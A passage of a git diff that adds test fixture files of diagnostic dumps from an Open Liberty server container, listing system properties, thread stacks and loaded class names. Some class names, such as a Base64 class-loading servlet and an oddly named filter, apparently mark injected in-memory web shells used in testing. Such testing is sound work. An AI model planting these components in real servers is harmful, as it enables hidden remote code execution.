com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.lang.management.internal.MemoryNotificationThread +com.ibm.misc.SignalDispatcher +com.ibm.tools.attach.target.CommonDirectory +com.ibm.tools.attach.target.IPC +com.ibm.tools.attach.target.WaitLoop +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable +com.ibm.ws.http.channel.internal.inbound.HttpInboundLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper +com.ibm.ws.kernel.boot.Launcher +com.ibm.ws.kernel.boot.cmdline.EnvCheck +com.ibm.ws.kernel.boot.internal.KernelBootstrap +com.ibm.ws.kernel.launch.internal.FrameworkManager +com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl +com.ibm.ws.kernel.launch.internal.ServerCommandListener +com.ibm.ws.kernel.launch.internal.ServerCommandListener$2 +com.ibm.ws.security.jaspi.JaspiServletFilter +com.ibm.ws.tcpchannel.internal.ChannelSelector +com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback +com.ibm.ws.tcpchannel.internal.WorkQueueManager +com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker +com.ibm.ws.threading.internal.BoundedBuffer +com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2 +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40 +org.apache.commons.caDSW.ErrorHandler +org.apache.felix.scr.impl.ComponentActorThread +org.eclipse.osgi.container.SystemModule +org.eclipse.osgi.framework.eventmgr.EventManager +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle +org.eclipse.osgi.launch.Equinox +org.eclipse.osgi.storage.bundlefile.MRUBundleFileList +org.eclipse.osgi.storage.bundlefile.ZipBundleFile diff --git a/integration-test/src/test/resources/infos/OpenLiberty20ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/OpenLiberty20ContainerTestBasicInfo.txt new file mode 100644 index 00000000..ea45e943 --- /dev/null +++ b/integration-test/src/test/resources/infos/OpenLiberty20ContainerTestBasicInfo.txt @@ -0,0 +1,999 @@ +# Generated At 2025-12-21 06:35:20 +SystemProps: +com.ibm.ws390.jta.TransactionManager: com.ibm.wsspi.zos.tx.RRSTXSynchronizationManager +java.vendor: AdoptOpenJDK +sun.java.launcher: SUN_STANDARD +shared.resource.dir: /opt/ol/wlp/usr/shared/resources/ +os.name: Linux +kernel.launch.time: 376333021825979 +sun.boot.class.path: /opt/java/openjdk/lib/amd64/default/jclSC180/vm.jar:/opt/java/openjdk/lib/se-service.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jce.jar +java.vm.specification.vendor: Oracle Corporation +shared.app.dir: /opt/ol/wlp/usr/shared/apps/ +java.runtime.version: 1.8.0_292-b10 +wlp.lib.dir: /opt/ol/wlp/lib/ +wlp.svc.binding.root: /opt/ol/wlp/usr/servers/defaultServer/bindings/ +wlp.workarea.dir: workarea/ +user.name: default +java.compiler: j9jit29 +os.encoding: UTF-8 +com.ibm.util.extralibs.properties: +com.ibm.jcl.checkClassPath: +server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/ +user.language: en +jdk.attach.allowAttachSelf: true +com.ibm.oti.vm.bootstrap.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64 +sun.boot.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64 +wlp.install.dir: /opt/ol/wlp/ +server.output.dir: /opt/ol/wlp/output/defaultServer/ +jdk.extensions.version: 8.0.292.0 +java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager +java.version: 1.8.0_292 +user.timezone: GMT +com.ibm.system.agent.path: /opt/java/openjdk/lib/amd64 +sun.arch.data.model: 64 +com.ibm.zero.version: 2 +java.endorsed.dirs: /opt/java/openjdk/lib/endorsed +com.ibm.oti.vm.library.version: 29 +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +com.ibm.ws.beta.edition: false +user.country: US +java.home: /opt/java/openjdk +java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled) +OpenJ9 - b4cc246d9 +OMR - 162e6f729 +JCL - 2a5e268814 based on jdk8u292-b10 +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +sun.font.fontmanager: sun.awt.X11FontManager +java.awt.fonts: +path.separator: : +org.apache.aries.blueprint.preemptiveShutdown: false +java.vm.version: openj9-0.26.0 +user.variant: +wlp.user.dir.isDefault: true +ibm.cds.suppresserrors: true +java.awt.printerjob: sun.print.PSPrinterJob +jdk.extensions.name: Extensions for OpenJDK for Eclipse OpenJ9 +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +ibm.signalhandling.sigint: true +org.apache.cxf.stax.allowInsecureParser: 1 +user.home: /home/default +com.ibm.cpu.endian: little +java.specification.vendor: Oracle Corporation +ibm.signalhandling.sigchain: true +org.jboss.weld.xml.disableValidating: true +java.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64:/usr/lib64:/usr/lib +java.vendor.url: https://adoptopenjdk.net/ +java.vm.vendor: Eclipse OpenJ9 +java.fullversion: 1.8.0_292-b10 +JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled) +OpenJ9 - b4cc246d9 +OMR - 162e6f729 +JCL - 2a5e268814 based on jdk8u292-b10 +java.runtime.name: OpenJDK Runtime Environment +sun.net.http.retryPost: false +sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer +java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar +server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/ +wlp.user.dir: /opt/ol/wlp/usr/ +java.vm.specification.name: Java Virtual Machine Specification +sun.java.launcher.pid: 1 +java.vm.specification.version: 1.8 +sun.cpu.endian: little +java.awt.headless: true +java.io.tmpdir: /tmp +ibm.system.encoding: UTF-8 +shared.config.dir: /opt/ol/wlp/usr/shared/config/ +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +ibm.signalhandling.rs: false +java.ext.dirs: /opt/java/openjdk/lib/ext +user.dir: /opt/ol/wlp/output/defaultServer +line.separator: + +java.vm.name: Eclipse OpenJ9 VM +com.ibm.oti.shared.enabled: true +com.ibm.vm.bitmode: 64 +wlp.process.type: server +javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder +file.encoding: UTF-8 +java.specification.version: 1.8 +com.ibm.oti.configuration: scar +wlp.server.name: defaultServer + +=========================================== + +ThreadStacks: +"Thread-24" #97 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"sib.SpillDispatcher-77EB184637998288-5" #86 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@2474fea + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Config-Thread-9" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b80cdb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:1134) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"JIT Diagnostic Compilation Thread-007 Suspended" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Inbound Read Selector.1" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"process reaper" #70 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@cad8ce67 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Daemon" #95 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@e617ce91 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at sun.misc.GC$Daemon.run(GC.java:117) + +"IProfiler" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"kernel-command-listener" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:330) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.startListening(ServerCommandListener.java:315) + at com.ibm.ws.kernel.launch.internal.FrameworkManager$4.run(FrameworkManager.java:763) + +"JIT Compilation Thread-006 Suspended" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-22" #92 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9bfe06bd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@b0dd8875 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.lang.Thread.run(Thread.java:823) + +"VM Runtime State Listener" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Outbound Write Selector.1" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-18" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7aced195 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"JIT Compilation Thread-000" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-14" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fb9e8ea9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Event Dispatcher: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #33 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@72a8558c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"Connect Selector.1" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-10" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c1a9f9d9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Inbound Read Selector.1" #98 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-1" #49 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@60c57330 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"UniqueKeyRangeManager" #80 daemon [WAITING] on java.util.LinkedList@25e7f88d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager.run(UniqueKeyRangeManager.java:327) + at java.lang.Thread.run(Thread.java:823) + +"FlushHelper" #77 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$FlushHelper@3cc78174 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.objectManager.FileLogOutput$FlushHelper.run(FileLogOutput.java:2535) + at java.lang.Thread.run(Thread.java:823) + +"Finalizer thread" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Outbound Read Selector.1" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reaper logger" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8964baba + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.take(ZipFileReaper.java:256) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.run(ZipFileReaper.java:228) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"sib.SpillDispatcher-77EB184637998288-4" #85 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@674f9587 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-8" #58 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1fb00692 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"JIT-SamplerThread" #10 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"JIT Compilation Thread-005 Suspended" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Inbound Read Selector.1" #60 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"CheckpointHelper" #78 daemon [WAITING] on com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper@3ea76d33 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper.run(ObjectManagerState.java:3189) + at java.lang.Thread.run(Thread.java:823) + +"Scheduled Executor-thread-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c2eb9cd2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-4" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d7d7afd1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Timer-2" #42 daemon [WAITING] on java.util.TaskQueue@162ffd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Default Executor-thread-2" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@676d8cc + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-19" #75 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e0a3ff72 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-3" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a3711e05 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-11" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@38b59c87 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at 